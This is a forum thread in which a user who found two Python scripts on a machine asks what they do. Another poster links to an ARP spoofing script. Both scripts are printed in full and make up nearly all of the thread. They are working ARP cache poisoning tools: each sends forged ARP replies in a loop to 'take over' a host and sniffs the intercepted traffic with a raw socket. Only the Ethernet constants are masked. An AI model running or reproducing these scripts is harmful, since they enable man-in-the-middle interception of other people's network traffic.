What is this Python EXE?

arrowstrap · 02-27-2007, 04:39 PM

can anyone tell me what the program below is? is it ARP Poison? anti arp poison? anything at all?

any insight would be great. i replaced the eithernet info with *** for security reasons.

#! /usr/bin/python

import getopt,sys,string, thread
from socket import *
from struct import *
from time import sleep

print unpack

ETHER_BROADCAST="***
ETH_P_ETHER=***
ETH_P_IP=***
ETH_P_ARP=***
ETH_P_ALL=***

protocol = ['','ICMP','','','','','TCP','','','','','UDP']

def usage():
print "Usage: %s [-t target] [-i interface] [-s sleep] host"
print "\t host : host to take over"
print "\t target : MAC address of a specific target to ARP poison"
print "\t sleep : time to sleep (in seconds) between two packets"
sys.exit(1)

def linehexdump(x, onlyasc=0):
x = str(x)
l = len(x)
if not onlyasc:
for i in range(l):
print "%02X" % ord(x[i]),

def getservicebyport(port, proto):
try:
result = getservbyport(int(port), string.lower(protocol[int(proto)]))
except:
result = "Unkown"
return result

def ether(src, dst, type):
return dst+src+pack("!H",type)

def arp(hw, p, hwlen, plen, op, hwsrc, psrc, hwdst, pdst):
return pack("!HHBBH", hw, p, hwlen, plen, op) + hwsrc + psrc + hwdst + pdst

def is_at(macsrc,ipsrc):
return arp(ETH_P_ETHER, ETH_P_IP, 6, 4, 2,
macsrc, inet_aton(ipsrc), ETHER_BROADCAST, pack("!I", INADDR_ANY))
def hex2dec(s):
"""return the integer value of a hexadecimal string s"""
return int(s, 16)

def mac2str(a):
return reduce(str.__add__,map(lambda x: chr(int(x,16)), a.split(":")))

def str2mac(a):
return "%02x:%02x:%02x:%02x:%02x:%02x" % unpack("!6B",a)

def ascii2hex(x, nbsp=0, bare=0):
l = len(x)
HEX = str()
for i in range(l):
if bare == 0:
if HEX == "":
HEX = "0x"
HEX = HEX + "%02X " % ord(x[i])
else:
HEX = HEX + "%02X " % ord(x[i])
if nbsp == 0:
HEX = HEX.replace(" ", "")
return HEX

def get_protocol(proto):
try:
protocol[int(proto)]
except:
return "Unknown Protocol"

def sendtovictim(data, dest_port):
print "data was sent intended for our victim, so lets forward. (Dest Port: %s)" % dest_port
try:
fwd_host = host
port = dest_port
buf = 1024
addr = (fwd_host,port)

# Create socket
fwd_UDPSock = socket(AF_INET, SOCK_DGRAM)
fwd_UDPSock.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)

#def_msg = "===Enter message to send to server===";
#print "\n",def_msg

# Send messages
#while (1):
#data = raw_input('>> ')
if not data:
print "no data"
else:
fwd_UDPSock.sendto(data,addr)
#if(fwd_UDPSock.sendto(data,addr)):
#print "Sending message '",data,"'....."
# Close socket
fwd_UDPSock.close()
except Exception, e:
print e

def listen():
try:
host_self = ""
port = 5060
buf = 1024
addr = (host,5060)

# Create socket and bind to address
UDPSock = socket(AF_PACKET, SOCK_RAW)
UDPSock.bind(("eth0", ETH_P_ALL))

# ethernet capture function
while 1:
data,addr = UDPSock.recvfrom(buf)
if not data:
print "Client has exited!"
break
else:

#print "\nlinehexdump of data[:30]: ",linehexdump(data)

l3proto = ascii2hex(data[12:14])
print "Layer 3 Protocol: ", l3proto
print ascii2hex(data[12:14], nbsp=1, bare=1)
packet_type = ""
if l3proto == "0x0806":
packet_type = "arp"

if not packet_type:

proto = ascii2hex(data[23:24], bare=1)
print "Layer 4 Protocol: ", proto, "(%s)" % get_protocol(proto)

#size =

saddress = map( string.atoi, [ascii2hex(data[26:27], bare=1),ascii2hex(data[27:28], bare=1),ascii2hex(data[28:29], bare=1),ascii2hex(data[29:30], bare=1)], [16]*4 )
print "Source Address: %d.%d.%d.%d" % tuple( saddress )

sport = ascii2hex(data[34:36])
print "Source Port: %s (%s)" % (hex2dec(sport), getservicebyport(hex2dec(sport), proto))

raddress = map( string.atoi, [ascii2hex(data[30:31], bare=1),ascii2hex(data[31:32], bare=1),ascii2hex(data[32:33], bare=1),ascii2hex(data[33:34], bare=1)], [16]*4 )
print "Destination Address: %d.%d.%d.%d" % tuple( raddress )

dport = ascii2hex(data[36:38])
#print getservicebyport(port, string.lower(protocol[int(proto)]))
print "Destination Port: %s (%s)" % (hex2dec(dport), getservicebyport(hex2dec(dport), proto))
print "\n"

#print "\nReceived message '", data, "'"

# Close socket
UDPSock.close()
except Exception, e:
print e

try:
opts=getopt.getopt(sys.argv[1:], "i:d:t:s:h")

target = "\xff\xff\xff\xff\xff\xff"
dev = "eth0"
slptime = 5
for opt, parm in opts[0]:
if opt == "-h":
usage()
elif opt == "-t":
target = mac2str(parm) # XXX get mac from IP
elif opt == "-i":
dev = parm
elif opt == "-s":
try:
slptime = float(parm)
except ValueError,msg:
raise getopt.GetoptError("'sleep' parameter error: "+msg.__repr__(),None)
elif opt == "-d":
parse_dest(parm)
if len(opts[1]) == 0 :
raise getopt.GetoptError("'host' parameter missing",None)
elif len(opts[1]) > 1 :
raise getopt.GetoptError("Too many parameters : [%s]" % string.join(opts[1]),None)
else:
host = opts[1][0]

print "dev:", dev
print "target:", str2mac(target)
print "host:", host
except getopt.error, msg:
print "ERROR:",msg
usage()
except KeyboardInterrupt:
print "Interrupted by user"

try:
a = 0
s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP))
s.bind((dev, ETH_P_ARP))
mymac = s.getsockname()[4]
pkt = ether(mymac, target, ETH_P_ARP) + is_at(mymac, host)
disp = "%s -> %s %s is-at %s" % (str2mac(mymac), str2mac(target), host, str2mac(mymac))
print "threading"
thread.start_new(listen,())
print "threaded"
while 1:
a = a + 1
s.send(pkt)
print disp
sleep(slptime)
except KeyboardInterrupt:
pass

arrowstrap · 02-27-2007, 06:34 PM

I dont know anything about python. i just found this along with another similar file in a user folder.

////// · 02-28-2007, 07:40 AM

http://www.secdev.org/python/arpyspoof.py

arrowstrap · 02-28-2007, 11:17 AM

i dont understand. i'm not a programer. maybe someone could clarify in lamens terms as to what this program does?

also here it the other one that was with it:

#! /usr/bin/python

import getopt,sys,string, thread
from socket import *
from struct import *
from time import sleep

print unpack

ETHER_BROADCAST=***
ETH_P_ETHER=***
ETH_P_IP=***
ETH_P_ARP=***
ETH_P_ALL=***

protocol = ['','ICMP','','','','','TCP','','','','','UDP']

def usage():
print "Usage: %s [-t target] [-i interface] [-s sleep] host"
print "\t host : host to take over"
print "\t target : MAC address of a specific target to ARP poison"
print "\t sleep : time to sleep (in seconds) between two packets"
sys.exit(1)

def linehexdump(x, onlyasc=0):
x = str(x)
l = len(x)
if not onlyasc:
for i in range(l):
print "%02X" % ord(x[i]),

def getservicebyport(port, proto):
try:
result = getservbyport(int(port), string.lower(protocol[int(proto)]))
except:
result = "Unkown"
return result

def ether(src, dst, type):
return dst+src+pack("!H",type)

def arp(hw, p, hwlen, plen, op, hwsrc, psrc, hwdst, pdst):
return pack("!HHBBH", hw, p, hwlen, plen, op) + hwsrc + psrc + hwdst + pdst

def is_at(macsrc,ipsrc):
return arp(ETH_P_ETHER, ETH_P_IP, 6, 4, 1,
"\x00\x00\x00\x00\x00\x00", inet_aton(ipsrc), "\x00\x00\x00\x00\x00\x00", inet_aton(ipsrc))
# return arp(ETH_P_ETHER, ETH_P_IP, 6, 4, 2,
# macsrc, inet_aton(ipsrc), ETHER_BROADCAST, pack("!I", INADDR_ANY))

def hex2dec(s):
"""return the integer value of a hexadecimal string s"""
return int(s, 16)

def mac2str(a):
return reduce(str.__add__,map(lambda x: chr(int(x,16)), a.split(":")))

def str2mac(a):
return "%02x:%02x:%02x:%02x:%02x:%02x" % unpack("!6B",a)

def ascii2hex(x, nbsp=0, bare=0):
l = len(x)
HEX = str()
for i in range(l):
if bare == 0:
if HEX == "":
HEX = "0x"
HEX = HEX + "%02X " % ord(x[i])
else:
HEX = HEX + "%02X " % ord(x[i])
if nbsp == 0:
HEX = HEX.replace(" ", "")
return HEX

def get_protocol(proto):
try:
protocol[int(proto)]
except:
return "Unknown Protocol"

def sendtovictim(data, dest_port):
print "data was sent intended for our victim, so lets forward. (Dest Port: %s)" % dest_port
try:
fwd_host = host
port = dest_port
buf = 1024
addr = (fwd_host,port)

# Create socket
fwd_UDPSock = socket(AF_INET, SOCK_DGRAM)
fwd_UDPSock.setsockopt(SOL_SOCKET,SO_REUSEADDR, 1)

#def_msg = "===Enter message to send to server===";
#print "\n",def_msg

# Send messages
#while (1):
#data = raw_input('>> ')
if not data:
print "no data"
else:
fwd_UDPSock.sendto(data,addr)
#if(fwd_UDPSock.sendto(data,addr)):
#print "Sending message '",data,"'....."
# Close socket
fwd_UDPSock.close()
except Exception, e:
print e

def listen():
try:
host_self = ""
port = 5060
buf = 1024
addr = (host,5060)

# Create socket and bind to address
UDPSock = socket(AF_PACKET, SOCK_RAW)
UDPSock.bind(("eth0", ETH_P_ALL))

# ethernet capture function
while 1:
data,addr = UDPSock.recvfrom(buf)
if not data:
print "Client has exited!"
break
else:

#print "\nlinehexdump of data[:30]: ",linehexdump(data)

l3proto = ascii2hex(data[12:14])
print "Layer 3 Protocol: ", l3proto
print ascii2hex(data[12:14], nbsp=1, bare=1)
packet_type = ""
if l3proto == "0x0806":
packet_type = "arp"

if not packet_type:

proto = ascii2hex(data[23:24], bare=1)
print "Layer 4 Protocol: ", proto, "(%s)" % get_protocol(proto)

#size =

saddress = map( string.atoi, [ascii2hex(data[26:27], bare=1),ascii2hex(data[27:28], bare=1),ascii2hex(data[28:29], bare=1),ascii2hex(data[29:30], bare=1)], [16]*4 )
print "Source Address: %d.%d.%d.%d" % tuple( saddress )

sport = ascii2hex(data[34:36])
print "Source Port: %s (%s)" % (hex2dec(sport), getservicebyport(hex2dec(sport), proto))

raddress = map( string.atoi, [ascii2hex(data[30:31], bare=1),ascii2hex(data[31:32], bare=1),ascii2hex(data[32:33], bare=1),ascii2hex(data[33:34], bare=1)], [16]*4 )
print "Destination Address: %d.%d.%d.%d" % tuple( raddress )

dport = ascii2hex(data[36:38])
#print getservicebyport(port, string.lower(protocol[int(proto)]))
print "Destination Port: %s (%s)" % (hex2dec(dport), getservicebyport(hex2dec(dport), proto))
print "\n"

#print "\nReceived message '", data, "'"

# Close socket
UDPSock.close()
except Exception, e:
print e

try:
opts=getopt.getopt(sys.argv[1:], "i:d:t:s:h")

#target = "***"
target = "***"
source = "***"
dev = "eth0"
slptime = 2
for opt, parm in opts[0]:
if opt == "-h":
usage()
elif opt == "-t":
source = mac2str(parm) # XXX get mac from IP
elif opt == "-i":
dev = parm
elif opt == "-s":
try:
slptime = float(parm)
except ValueError,msg:
raise getopt.GetoptError("'sleep' parameter error: "+msg.__repr__(),None)
elif opt == "-d":
parse_dest(parm)
if len(opts[1]) == 0 :
raise getopt.GetoptError("'host' parameter missing",None)
elif len(opts[1]) > 1 :
raise getopt.GetoptError("Too many parameters : [%s]" % string.join(opts[1]),None)
else:
host = opts[1][0]
host = "0.0.0.0"

print "dev:", dev
print "target:", str2mac(target)
print "host:", host
except getopt.error, msg:
print "ERROR:",msg
usage()
except KeyboardInterrupt:
print "Interrupted by user"

try:
a = 0
s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ARP))
s.bind((dev, ETH_P_ARP))
mymac = s.getsockname()[4]
pkt = ether(source, target, ETH_P_ARP) + is_at(target, host)
disp = "%s -> %s %s is-at %s" % (str2mac(mymac), str2mac(target), host, str2mac(mymac))
print "threading"
thread.start_new(listen,())
print "threaded"
while 1:
a = a + 1
s.send(pkt)
print disp
sleep(slptime)
except KeyboardInterrupt:
pass